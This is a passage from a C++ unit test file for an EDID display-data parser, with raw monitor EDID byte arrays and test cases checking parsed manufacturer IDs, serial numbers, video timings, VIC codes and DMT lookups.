||||
{ 1024, 768, 60, EDID::Parser::EstablishedTiming::Source::VESA, 0x10 },
|
||||
{ 1280, 768, 60, EDID::Parser::EstablishedTiming::Source::VESA, 0x17 },
|
||||
{ 1360, 768, 60, EDID::Parser::EstablishedTiming::Source::VESA, 0x27 },
|
||||
{ 1400, 1050, 60, EDID::Parser::EstablishedTiming::Source::VESA, 0x2a },
|
||||
{ 1792, 1344, 60, EDID::Parser::EstablishedTiming::Source::VESA, 0x3e },
|
||||
{ 1856, 1392, 60, EDID::Parser::EstablishedTiming::Source::VESA, 0x41 },
|
||||
{ 1920, 1440, 60, EDID::Parser::EstablishedTiming::Source::VESA, 0x49 }
|
||||
};
|
||||
static constexpr size_t expected_established_timings_count = sizeof(expected_established_timings) / sizeof(expected_established_timings[0]);
|
||||
size_t established_timings_found = 0;
|
||||
auto result = TRY_OR_FAIL(edid.for_each_established_timing([&](auto& established_timings) {
|
||||
EXPECT(established_timings_found < expected_established_timings_count);
|
||||
auto& expected_timings = expected_established_timings[established_timings_found];
|
||||
EXPECT(established_timings.width() == expected_timings.width);
|
||||
EXPECT(established_timings.height() == expected_timings.height);
|
||||
EXPECT(established_timings.refresh_rate() == expected_timings.refresh_rate);
|
||||
EXPECT(established_timings.source() == expected_timings.source);
|
||||
EXPECT(established_timings.dmt_id() == expected_timings.dmt_id);
|
||||
established_timings_found++;
|
||||
return IterationDecision::Continue;
|
||||
}));
|
||||
EXPECT(result == IterationDecision::Continue);
|
||||
EXPECT(established_timings_found == expected_established_timings_count);
|
||||
}
|
||||
|
||||
{
|
||||
static constexpr struct {
|
||||
unsigned width;
|
||||
unsigned height;
|
||||
unsigned refresh_rate;
|
||||
u8 dmt_id { 0 };
|
||||
} expected_standard_established_timings[] = {
|
||||
{ 2048, 1152, 60, 0x54 },
|
||||
{ 1920, 1080, 60, 0x52 },
|
||||
{ 1920, 1200, 60, 0x45 },
|
||||
{ 1600, 1200, 60, 0x33 },
|
||||
{ 1680, 1050, 60, 0x3a },
|
||||
{ 1440, 900, 60, 0x2f },
|
||||
{ 1280, 1024, 60, 0x23 },
|
||||
{ 1280, 960, 60, 0x20 }
|
||||
};
|
||||
static constexpr size_t expected_standard_timings_count = sizeof(expected_standard_established_timings) / sizeof(expected_standard_established_timings[0]);
|
||||
size_t standard_timings_found = 0;
|
||||
auto result = TRY_OR_FAIL(edid.for_each_standard_timing([&](auto& standard_timings) {
|
||||
EXPECT(standard_timings_found < expected_standard_timings_count);
|
||||
auto& expected_timings = expected_standard_established_timings[standard_timings_found];
|
||||
EXPECT(standard_timings.dmt_id() == expected_timings.dmt_id);
|
||||
EXPECT(standard_timings.width() == expected_timings.width);
|
||||
EXPECT(standard_timings.height() == expected_timings.height);
|
||||
EXPECT(standard_timings.refresh_rate() == expected_timings.refresh_rate);
|
||||
standard_timings_found++;
|
||||
return IterationDecision::Continue;
|
||||
}));
|
||||
EXPECT(result == IterationDecision::Continue);
|
||||
EXPECT(standard_timings_found == expected_standard_timings_count);
|
||||
}
|
||||
|
||||
{
|
||||
static constexpr struct {
|
||||
unsigned block_id;
|
||||
unsigned width;
|
||||
unsigned height;
|
||||
unsigned refresh_rate;
|
||||
} expected_detailed_timings[] = {
|
||||
{ 0, 1024, 768, 75 }
|
||||
};
|
||||
static constexpr size_t expected_detailed_timings_count = sizeof(expected_detailed_timings) / sizeof(expected_detailed_timings[0]);
|
||||
size_t detailed_timings_found = 0;
|
||||
auto result = TRY_OR_FAIL(edid.for_each_detailed_timing([&](auto& detailed_timing, unsigned block_id) {
|
||||
EXPECT(detailed_timings_found < expected_detailed_timings_count);
|
||||
auto& expected_timings = expected_detailed_timings[detailed_timings_found];
|
||||
EXPECT(block_id == expected_timings.block_id);
|
||||
EXPECT(detailed_timing.horizontal_addressable_pixels() == expected_timings.width);
|
||||
EXPECT(detailed_timing.vertical_addressable_lines() == expected_timings.height);
|
||||
EXPECT(detailed_timing.refresh_rate().lrint() == expected_timings.refresh_rate);
|
||||
detailed_timings_found++;
|
||||
return IterationDecision::Continue;
|
||||
}));
|
||||
EXPECT(result == IterationDecision::Continue);
|
||||
EXPECT(detailed_timings_found == expected_detailed_timings_count);
|
||||
}
|
||||
|
||||
{
|
||||
static constexpr u8 expected_vic_ids[] = { 125, 101, 96, 89, 31 };
|
||||
static constexpr size_t expected_vic_ids_count = sizeof(expected_vic_ids) / sizeof(expected_vic_ids[0]);
|
||||
size_t vic_ids_found = 0;
|
||||
auto result = TRY_OR_FAIL(edid.for_each_short_video_descriptor([&](unsigned block_id, bool is_native, EDID::VIC::Details const& vic) {
|
||||
EXPECT(vic_ids_found < expected_vic_ids_count);
|
||||
EXPECT(block_id == 1);
|
||||
EXPECT(!is_native); // none are marked as native
|
||||
EXPECT(vic.vic_id == expected_vic_ids[vic_ids_found]);
|
||||
vic_ids_found++;
|
||||
return IterationDecision::Continue;
|
||||
}));
|
||||
EXPECT(result == IterationDecision::Continue);
|
||||
EXPECT(vic_ids_found == expected_vic_ids_count);
|
||||
}
|
||||
|
||||
{
|
||||
// This edid has one CEA861 extension block only
|
||||
size_t extension_blocks_found = 0;
|
||||
auto result = TRY_OR_FAIL(edid.for_each_extension_block([&](unsigned block_id, u8 tag, u8 revision, ReadonlyBytes) {
|
||||
EXPECT(block_id == 1);
|
||||
EXPECT(tag == 0x2);
|
||||
EXPECT(revision == 3);
|
||||
extension_blocks_found++;
|
||||
return IterationDecision::Continue;
|
||||
}));
|
||||
EXPECT(result == IterationDecision::Continue);
|
||||
EXPECT(extension_blocks_found == 1);
|
||||
}
|
||||
}
|
||||
|
||||
static u8 const edid2_bin[] = {
|
||||
0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x04, 0x72, 0x1d, 0x08,
|
||||
0xd2, 0x02, 0x96, 0x49, 0x20, 0x1e, 0x01, 0x04, 0xb5, 0x3c, 0x22, 0x78,
|
||||
0x3b, 0xff, 0x15, 0xa6, 0x53, 0x4a, 0x98, 0x26, 0x0f, 0x50, 0x54, 0xbf,
|
||||
0xef, 0x80, 0xd1, 0xc0, 0xb3, 0x00, 0x95, 0x00, 0x81, 0x80, 0x81, 0x40,
|
||||
0x81, 0xc0, 0x01, 0x01, 0x01, 0x01, 0x86, 0x6f, 0x00, 0x3c, 0xa0, 0xa0,
|
||||
0x0f, 0x50, 0x08, 0x20, 0x35, 0x00, 0x55, 0x50, 0x21, 0x00, 0x00, 0x1e,
|
||||
0x56, 0x5e, 0x00, 0xa0, 0xa0, 0xa0, 0x29, 0x50, 0x30, 0x20, 0x35, 0x00,
|
||||
0x55, 0x50, 0x21, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x30,
|
||||
0x4b, 0x78, 0x78, 0x1e, 0x01, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
|
||||
0x00, 0x00, 0x00, 0xfc, 0x00, 0x43, 0x42, 0x32, 0x37, 0x32, 0x55, 0x0a,
|
||||
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x01, 0xc5, 0x02, 0x03, 0x33, 0x71,
|
||||
0x4c, 0x12, 0x13, 0x04, 0x1f, 0x90, 0x14, 0x05, 0x01, 0x11, 0x02, 0x03,
|
||||
0x4a, 0x23, 0x09, 0x07, 0x07, 0x83, 0x01, 0x00, 0x00, 0xe2, 0x00, 0xc0,
|
||||
0x67, 0x03, 0x0c, 0x00, 0x10, 0x00, 0x38, 0x3c, 0xe3, 0x05, 0xe3, 0x01,
|
||||
0xe3, 0x0f, 0x00, 0x00, 0xe6, 0x06, 0x07, 0x01, 0x60, 0x60, 0x45, 0x01,
|
||||
0x1d, 0x00, 0x72, 0x51, 0xd0, 0x1e, 0x20, 0x6e, 0x28, 0x55, 0x00, 0x55,
|
||||
0x50, 0x21, 0x00, 0x00, 0x1e, 0x01, 0x1d, 0x00, 0xbc, 0x52, 0xd0, 0x1e,
|
||||
0x20, 0xb8, 0x28, 0x55, 0x40, 0x55, 0x50, 0x21, 0x00, 0x00, 0x1e, 0x56,
|
||||
0x5e, 0x00, 0xa0, 0xa0, 0xa0, 0x29, 0x50, 0x30, 0x20, 0x35, 0x00, 0x55,
|
||||
0x50, 0x21, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0xe1
|
||||
};
|
||||
|
||||
TEST_CASE(edid2)
|
||||
{
|
||||
auto edid = TRY_OR_FAIL(EDID::Parser::from_bytes({ edid2_bin, sizeof(edid2_bin) }));
|
||||
EXPECT(edid.legacy_manufacturer_id() == "ACR");
|
||||
EXPECT(edid.serial_number() == 1234567890);
|
||||
auto digital_interface = edid.digital_display();
|
||||
EXPECT(digital_interface.has_value());
|
||||
EXPECT(digital_interface.value().color_bit_depth() == EDID::Parser::DigitalDisplay::ColorBitDepth::BPP_10);
|
||||
EXPECT(digital_interface.value().supported_interface() == EDID::Parser::DigitalDisplay::SupportedInterface::DisplayPort);
|
||||
EXPECT(!digital_interface.value().features().supports_standby());
|
||||
EXPECT(!digital_interface.value().features().supports_suspend());
|
||||
EXPECT(digital_interface.value().features().supports_off());
|
||||
EXPECT(digital_interface.value().features().preferred_timing_mode_includes_pixel_format_and_refresh_rate());
|
||||
EXPECT(!digital_interface.value().features().srgb_is_default_color_space());
|
||||
EXPECT(digital_interface.value().features().frequency() == EDID::Parser::DigitalDisplayFeatures::Frequency::Continuous);
|
||||
EXPECT(digital_interface.value().features().supported_color_encodings() == EDID::Parser::DigitalDisplayFeatures::SupportedColorEncodings::RGB444_YCrCb444_YCrCb422);
|
||||
EXPECT(!edid.aspect_ratio().has_value());
|
||||
auto screen_size = edid.screen_size();
|
||||
EXPECT(screen_size.has_value());
|
||||
EXPECT(screen_size.value().horizontal_cm() == 60);
|
||||
EXPECT(screen_size.value().vertical_cm() == 34);
|
||||
auto gamma = edid.gamma();
|
||||
EXPECT(gamma.has_value());
|
||||
EXPECT(gamma.value() >= 2.19f && gamma.value() <= 2.21f);
|
||||
EXPECT(edid.display_product_name() == "CB272U");
|
||||
|
||||
{
|
||||
static constexpr struct {
|
||||
unsigned width;
|
||||
unsigned height;
|
||||
unsigned refresh_rate;
|
||||
EDID::Parser::EstablishedTiming::Source source;
|
||||
u8 dmt_id { 0 };
|
||||
} expected_established_timings[] = {
|
||||
{ 720, 400, 70, EDID::Parser::EstablishedTiming::Source::IBM },
|
||||
{ 640, 480, 60, EDID::Parser::EstablishedTiming::Source::IBM, 0x4 },
|
||||
{ 640, 480, 67, EDID::Parser::EstablishedTiming::Source::Apple },
|
||||
{ 640, 480, 73, EDID::Parser::EstablishedTiming::Source::VESA, 0x5 },
|
||||
{ 640, 480, 75, EDID::Parser::EstablishedTiming::Source::VESA, 0x6 },
|
||||
{ 800, 600, 56, EDID::Parser::EstablishedTiming::Source::VESA, 0x8 },
|
||||
{ 800, 600, 60, EDID::Parser::EstablishedTiming::Source::VESA, 0x9 },
|
||||
{ 800, 600, 72, EDID::Parser::EstablishedTiming::Source::VESA, 0xa },
|
||||
{ 800, 600, 75, EDID::Parser::EstablishedTiming::Source::VESA, 0xb },
|
||||
{ 832, 624, 75, EDID::Parser::EstablishedTiming::Source::Apple },
|
||||
{ 1024, 768, 60, EDID::Parser::EstablishedTiming::Source::VESA, 0x10 },
|
||||
{ 1024, 768, 70, EDID::Parser::EstablishedTiming::Source::VESA, 0x11 },
|
||||
{ 1024, 768, 75, EDID::Parser::EstablishedTiming::Source::VESA, 0x12 },
|
||||
{ 1280, 1024, 75, EDID::Parser::EstablishedTiming::Source::VESA, 0x24 },
|
||||
{ 1152, 870, 75, EDID::Parser::EstablishedTiming::Source::Apple }
|
||||
};
|
||||
static constexpr size_t expected_established_timings_count = sizeof(expected_established_timings) / sizeof(expected_established_timings[0]);
|
||||
size_t established_timings_found = 0;
|
||||
auto result = TRY_OR_FAIL(edid.for_each_established_timing([&](auto& established_timings) {
|
||||
EXPECT(established_timings_found < expected_established_timings_count);
|
||||
auto& expected_timings = expected_established_timings[established_timings_found];
|
||||
EXPECT(established_timings.width() == expected_timings.width);
|
||||
EXPECT(established_timings.height() == expected_timings.height);
|
||||
EXPECT(established_timings.refresh_rate() == expected_timings.refresh_rate);
|
||||
EXPECT(established_timings.source() == expected_timings.source);
|
||||
EXPECT(established_timings.dmt_id() == expected_timings.dmt_id);
|
||||
established_timings_found++;
|
||||
return IterationDecision::Continue;
|
||||
}));
|
||||
EXPECT(result == IterationDecision::Continue);
|
||||
EXPECT(established_timings_found == expected_established_timings_count);
|
||||
}
|
||||
|
||||
{
|
||||
static constexpr struct {
|
||||
unsigned width;
|
||||
unsigned height;
|
||||
unsigned refresh_rate;
|
||||
u8 dmt_id { 0 };
|
||||
} expected_standard_established_timings[] = {
|
||||
{ 1920, 1080, 60, 0x52 },
|
||||
{ 1680, 1050, 60, 0x3a },
|
||||
{ 1440, 900, 60, 0x2f },
|
||||
{ 1280, 1024, 60, 0x23 },
|
||||
{ 1280, 960, 60, 0x20 },
|
||||
{ 1280, 720, 60, 0x55 },
|
||||
};
|
||||
static constexpr size_t expected_standard_timings_count = sizeof(expected_standard_established_timings) / sizeof(expected_standard_established_timings[0]);
|
||||
size_t standard_timings_found = 0;
|
||||
auto result = TRY_OR_FAIL(edid.for_each_standard_timing([&](auto& standard_timings) {
|
||||
EXPECT(standard_timings_found < expected_standard_timings_count);
|
||||
auto& expected_timings = expected_standard_established_timings[standard_timings_found];
|
||||
EXPECT(standard_timings.dmt_id() == expected_timings.dmt_id);
|
||||
EXPECT(standard_timings.width() == expected_timings.width);
|
||||
EXPECT(standard_timings.height() == expected_timings.height);
|
||||
EXPECT(standard_timings.refresh_rate() == expected_timings.refresh_rate);
|
||||
standard_timings_found++;
|
||||
return IterationDecision::Continue;
|
||||
}));
|
||||
EXPECT(result == IterationDecision::Continue);
|
||||
EXPECT(standard_timings_found == expected_standard_timings_count);
|
||||
}
|
||||
|
||||
{
|
||||
static constexpr struct {
|
||||
unsigned block_id;
|
||||
unsigned width;
|
||||
unsigned height;
|
||||
unsigned refresh_rate;
|
||||
} expected_detailed_timings[] = {
|
||||
{ 0, 2560, 1440, 75 },
|
||||
{ 0, 2560, 1440, 60 },
|
||||
{ 1, 1280, 720, 60 },
|
||||
{ 1, 1280, 720, 50 },
|
||||
{ 1, 2560, 1440, 60 }
|
||||
};
|
||||
static constexpr size_t expected_detailed_timings_count = sizeof(expected_detailed_timings) / sizeof(expected_detailed_timings[0]);
|
||||
size_t detailed_timings_found = 0;
|
||||
auto result = TRY_OR_FAIL(edid.for_each_detailed_timing([&](auto& detailed_timing, unsigned block_id) {
|
||||
EXPECT(detailed_timings_found < expected_detailed_timings_count);
|
||||
auto& expected_timings = expected_detailed_timings[detailed_timings_found];
|
||||
EXPECT(block_id == expected_timings.block_id);
|
||||
EXPECT(detailed_timing.horizontal_addressable_pixels() == expected_timings.width);
|
||||
EXPECT(detailed_timing.vertical_addressable_lines() == expected_timings.height);
|
||||
EXPECT(detailed_timing.refresh_rate().lrint() == expected_timings.refresh_rate);
|
||||
detailed_timings_found++;
|
||||
return IterationDecision::Continue;
|
||||
}));
|
||||
EXPECT(result == IterationDecision::Continue);
|
||||
EXPECT(detailed_timings_found == expected_detailed_timings_count);
|
||||
}
|
||||
|
||||
{
|
||||
static constexpr u8 expected_vic_ids[] = { 18, 19, 4, 31, 16, 20, 5, 1, 17, 2, 3, 74 };
|
||||
static constexpr size_t expected_vic_ids_count = sizeof(expected_vic_ids) / sizeof(expected_vic_ids[0]);
|
||||
size_t vic_ids_found = 0;
|
||||
auto result = TRY_OR_FAIL(edid.for_each_short_video_descriptor([&](unsigned block_id, bool is_native, EDID::VIC::Details const& vic) {
|
||||
EXPECT(vic_ids_found < expected_vic_ids_count);
|
||||
EXPECT(block_id == 1);
|
||||
EXPECT(is_native == (vic_ids_found == 4)); // the 5th value is marked native
|
||||
EXPECT(vic.vic_id == expected_vic_ids[vic_ids_found]);
|
||||
vic_ids_found++;
|
||||
return IterationDecision::Continue;
|
||||
}));
|
||||
EXPECT(result == IterationDecision::Continue);
|
||||
EXPECT(vic_ids_found == expected_vic_ids_count);
|
||||
}
|
||||
|
||||
{
|
||||
// This edid has one CEA861 extension block only
|
||||
size_t extension_blocks_found = 0;
|
||||
auto result = TRY_OR_FAIL(edid.for_each_extension_block([&](unsigned block_id, u8 tag, u8 revision, ReadonlyBytes) {
|
||||
EXPECT(block_id == 1);
|
||||
EXPECT(tag == 0x2);
|
||||
EXPECT(revision == 3);
|
||||
extension_blocks_found++;
|
||||
return IterationDecision::Continue;
|
||||
}));
|
||||
EXPECT(result == IterationDecision::Continue);
|
||||
EXPECT(extension_blocks_found == 1);
|
||||
}
|
||||
}
|
||||
|
||||
// This EDID has extension maps
|
||||
static u8 const edid_extension_maps[] = {
|
||||
0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x4d, 0x29, 0x48, 0x44,
|
||||
0x01, 0x00, 0x00, 0x00, 0x0a, 0x0d, 0x01, 0x03, 0x80, 0x50, 0x2d, 0x78,
|
||||
0x0a, 0x0d, 0xc9, 0xa0, 0x57, 0x47, 0x98, 0x27, 0x12, 0x48, 0x4c, 0x20,
|
||||
0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
|
||||
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x1d, 0x80, 0x18, 0x71, 0x1c,
|
||||
0x16, 0x20, 0x58, 0x2c, 0x25, 0x00, 0x20, 0xc2, 0x31, 0x00, 0x00, 0x9e,
|
||||
0x8c, 0x0a, 0xd0, 0x8a, 0x20, 0xe0, 0x2d, 0x10, 0x10, 0x3e, 0x96, 0x00,
|
||||
0x13, 0x8e, 0x21, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0xfc, 0x00, 0x48,
|
||||
0x44, 0x4d, 0x49, 0x20, 0x54, 0x56, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20,
|
||||
0x00, 0x00, 0x00, 0xfd, 0x00, 0x3b, 0x3d, 0x0f, 0x2e, 0x08, 0x02, 0x00,
|
||||
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x03, 0xf1, 0xf0, 0x02, 0x02, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x0c, 0x02, 0x03, 0x1e, 0xf1, 0x4a, 0x85, 0x04, 0x10,
|
||||
0x02, 0x01, 0x06, 0x14, 0x12, 0x16, 0x13, 0x23, 0x09, 0x07, 0x07, 0x83,
|
||||
0x01, 0x00, 0x00, 0x66, 0x03, 0x0c, 0x00, 0x10, 0x00, 0x80, 0x01, 0x1d,
|
||||
0x00, 0x72, 0x51, 0xd0, 0x1e, 0x20, 0x6e, 0x28, 0x55, 0x00, 0xc4, 0x8e,
|
||||
0x21, 0x00, 0x00, 0x1e, 0xd6, 0x09, 0x80, 0xa0, 0x20, 0xe0, 0x2d, 0x10,
|
||||
0x10, 0x60, 0x22, 0x00, 0x12, 0x8e, 0x21, 0x08, 0x08, 0x18, 0x8c, 0x0a,
|
||||
0xd0, 0x90, 0x20, 0x40, 0x31, 0x20, 0x0c, 0x40, 0x55, 0x00, 0xc4, 0x8e,
|
||||
0x21, 0x00, 0x00, 0x18, 0x01, 0x1d, 0x80, 0xd0, 0x72, 0x1c, 0x16, 0x20,
|
||||
0x10, 0x2c, 0x25, 0x80, 0xc4, 0x8e, 0x21, 0x00, 0x00, 0x9e, 0x8c, 0x0a,
|
||||
0xa0, 0x14, 0x51, 0xf0, 0x16, 0x00, 0x26, 0x7c, 0x43, 0x00, 0x13, 0x8e,
|
||||
0x21, 0x00, 0x00, 0x98, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf5,
|
||||
0x02, 0x03, 0x04, 0xf1, 0xf3, 0x39, 0x80, 0x18, 0x71, 0x38, 0x2d, 0x40,
|
||||
0x58, 0x2c, 0x45, 0x00, 0xc4, 0x8e, 0x21, 0x00, 0x00, 0x1e, 0x8c, 0x0a,
|
||||
0xa0, 0x20, 0x51, 0x20, 0x18, 0x10, 0x18, 0x7e, 0x23, 0x00, 0xc4, 0x8e,
|
||||
0x21, 0x00, 0x00, 0x98, 0x01, 0x1d, 0x00, 0xbc, 0x52, 0xd0, 0x1e, 0x20,
|
||||
0xb8, 0x28, 0x55, 0x40, 0xc4, 0x8e, 0x21, 0x00, 0x00, 0x1e, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xdf
|
||||
};
|
||||
|
||||
TEST_CASE(edid_extension_maps)
|
||||
{
|
||||
auto edid = TRY_OR_FAIL(EDID::Parser::from_bytes({ edid_extension_maps, sizeof(edid_extension_maps) }));
|
||||
EXPECT(edid.legacy_manufacturer_id() == "SII");
|
||||
|
||||
{
|
||||
static constexpr struct {
|
||||
unsigned block_id;
|
||||
unsigned width;
|
||||
unsigned height;
|
||||
unsigned refresh_rate;
|
||||
} expected_detailed_timings[] = {
|
||||
{ 0, 1920, 1080, 60 },
|
||||
{ 0, 720, 480, 60 },
|
||||
{ 2, 1280, 720, 60 },
|
||||
{ 2, 640, 480, 60 },
|
||||
{ 2, 720, 576, 50 },
|
||||
{ 2, 1920, 1080, 50 },
|
||||
{ 2, 1440, 480, 60 },
|
||||
{ 3, 1920, 1080, 60 },
|
||||
{ 3, 1440, 576, 50 },
|
||||
{ 3, 1280, 720, 50 }
|
||||
};
|
||||
static constexpr size_t expected_detailed_timings_count = sizeof(expected_detailed_timings) / sizeof(expected_detailed_timings[0]);
|
||||
size_t detailed_timings_found = 0;
|
||||
auto result = TRY_OR_FAIL(edid.for_each_detailed_timing([&](auto& detailed_timing, unsigned block_id) {
|
||||
EXPECT(detailed_timings_found < expected_detailed_timings_count);
|
||||
auto& expected_timings = expected_detailed_timings[detailed_timings_found];
|
||||
EXPECT(block_id == expected_timings.block_id);
|
||||
EXPECT(detailed_timing.horizontal_addressable_pixels() == expected_timings.width);
|
||||
EXPECT(detailed_timing.vertical_addressable_lines() == expected_timings.height);
|
||||
EXPECT(detailed_timing.refresh_rate().lrint() == expected_timings.refresh_rate);
|
||||
detailed_timings_found++;
|
||||
return IterationDecision::Continue;
|
||||
}));
|
||||
EXPECT(result == IterationDecision::Continue);
|
||||
EXPECT(detailed_timings_found == expected_detailed_timings_count);
|
||||
}
|
||||
}
|
||||
|
||||
static u8 const edid_1_0[] = {
|
||||
0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x34, 0x38, 0xc2, 0x0b,
|
||||
0x7b, 0x00, 0x00, 0x00, 0x0f, 0x0a, 0x01, 0x00, 0x28, 0x20, 0x18, 0x32,
|
||||
0xe8, 0x7e, 0x4e, 0x9e, 0x57, 0x45, 0x98, 0x24, 0x10, 0x47, 0x4f, 0xa4,
|
||||
0x42, 0x01, 0x31, 0x59, 0x45, 0x59, 0x61, 0x59, 0x71, 0x4f, 0x81, 0x80,
|
||||
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0xf9, 0x15, 0x20, 0xf8, 0x30, 0x58,
|
||||
0x1f, 0x20, 0x20, 0x40, 0x13, 0x00, 0x40, 0xf0, 0x10, 0x00, 0x00, 0x1e,
|
||||
0xa4, 0x1a, 0x20, 0x10, 0x31, 0x58, 0x24, 0x20, 0x2f, 0x55, 0x33, 0x00,
|
||||
0x40, 0xf0, 0x10, 0x00, 0x00, 0x1e, 0x30, 0x2a, 0x00, 0x98, 0x51, 0x00,
|
||||
0x2a, 0x40, 0x30, 0x70, 0x13, 0x00, 0x40, 0xf0, 0x10, 0x00, 0x00, 0x1e,
|
||||
0xea, 0x24, 0x00, 0x60, 0x41, 0x00, 0x28, 0x30, 0x30, 0x60, 0x13, 0x00,
|
||||
0x40, 0xf0, 0x10, 0x00, 0x00, 0x1e, 0x00, 0x72
|
||||
};
|
||||
|
||||
TEST_CASE(edid_1_0)
|
||||
{
|
||||
auto edid = TRY_OR_FAIL(EDID::Parser::from_bytes({ edid_1_0, sizeof(edid_1_0) }));
|
||||
EXPECT(edid.legacy_manufacturer_id() == "MAX");
|
||||
EXPECT(edid.serial_number() == 123);
|
||||
|
||||
{
|
||||
static constexpr struct {
|
||||
unsigned block_id;
|
||||
unsigned width;
|
||||
unsigned height;
|
||||
unsigned refresh_rate;
|
||||
} expected_detailed_timings[] = {
|
||||
{ 0, 800, 600, 85 },
|
||||
{ 0, 800, 600, 100 },
|
||||
{ 0, 1280, 1024, 60 },
|
||||
{ 0, 1024, 768, 85 }
|
||||
};
|
||||
static constexpr size_t expected_detailed_timings_count = sizeof(expected_detailed_timings) / sizeof(expected_detailed_timings[0]);
|
||||
size_t detailed_timings_found = 0;
|
||||
auto result = TRY_OR_FAIL(edid.for_each_detailed_timing([&](auto& detailed_timing, unsigned block_id) {
|
||||
EXPECT(detailed_timings_found < expected_detailed_timings_count);
|
||||
auto& expected_timings = expected_detailed_timings[detailed_timings_found];
|
||||
EXPECT(block_id == expected_timings.block_id);
|
||||
EXPECT(detailed_timing.horizontal_addressable_pixels() == expected_timings.width);
|
||||
EXPECT(detailed_timing.vertical_addressable_lines() == expected_timings.height);
|
||||
EXPECT(detailed_timing.refresh_rate().lrint() == expected_timings.refresh_rate);
|
||||
detailed_timings_found++;
|
||||
return IterationDecision::Continue;
|
||||
}));
|
||||
EXPECT(result == IterationDecision::Continue);
|
||||
EXPECT(detailed_timings_found == expected_detailed_timings_count);
|
||||
}
|
||||
}
|
||||
|
||||
TEST_CASE(dmt_find_std_id)
|
||||
{
|
||||
auto* dmt = EDID::DMT::find_timing_by_std_id(0xd1, 0xf);
|
||||
EXPECT(dmt);
|
||||
EXPECT(dmt->dmt_id == 0x46);
|
||||
EXPECT(dmt->horizontal_pixels == 1920 && dmt->vertical_lines == 1200);
|
||||
}
|
||||
|
||||
TEST_CASE(dmt_frequency)
|
||||
{
|
||||
auto* dmt = EDID::DMT::find_timing_by_dmt_id(0x4);
|
||||
EXPECT(dmt);
|
||||
|
||||
// FIXME: Use the FixedPoint(double) ctor like `expected_vertical_frequency(59.940)` instead of
|
||||
// dividing by 1000 in the next line once FixedPoint::operator/ rounds.
|
||||
// 1. DMT.cpp is built as part of the kernel (despite being in Userland/)
|
||||
// 2. The Kernel can't use floating point
|
||||
// 3. So it has to use FixedPoint(59940) / 1000
|
||||
// 4. The FixedPoint(double) ctor rounds, but FixedPoint::operator/ currently doesn't,
|
||||
// so FixedPoint(59.940) has a different lowest bit than
|
||||
// FixedPoint(59940) / 1000. So the test can't use the FixedPoint(double) ctor at the moment.
|
||||
static FixedPoint<16, u32> const expected_vertical_frequency(59940);
|
||||
EXPECT(dmt->vertical_frequency_hz() == expected_vertical_frequency / 1000);
|
||||
static FixedPoint<16, u32> const expected_horizontal_frequency(31469);
|
||||
EXPECT(dmt->horizontal_frequency_khz() == expected_horizontal_frequency / 1000);
|
||||
}
|
||||
|
||||
TEST_CASE(vic)
|
||||
{
|
||||
EXPECT(!EDID::VIC::find_details_by_vic_id(0)); // invalid
|
||||
EXPECT(!EDID::VIC::find_details_by_vic_id(160)); // forbidden range
|
||||
EXPECT(!EDID::VIC::find_details_by_vic_id(250)); // reserved
|
||||
auto* vic_def_32 = EDID::VIC::find_details_by_vic_id(32);
|
||||
EXPECT(vic_def_32);
|
||||
EXPECT(vic_def_32->vic_id == 32);
|
||||
auto* vic_def_200 = EDID::VIC::find_details_by_vic_id(200);
|
||||
EXPECT(vic_def_200);
|
||||
EXPECT(vic_def_200->vic_id == 200);
|
||||
|
||||
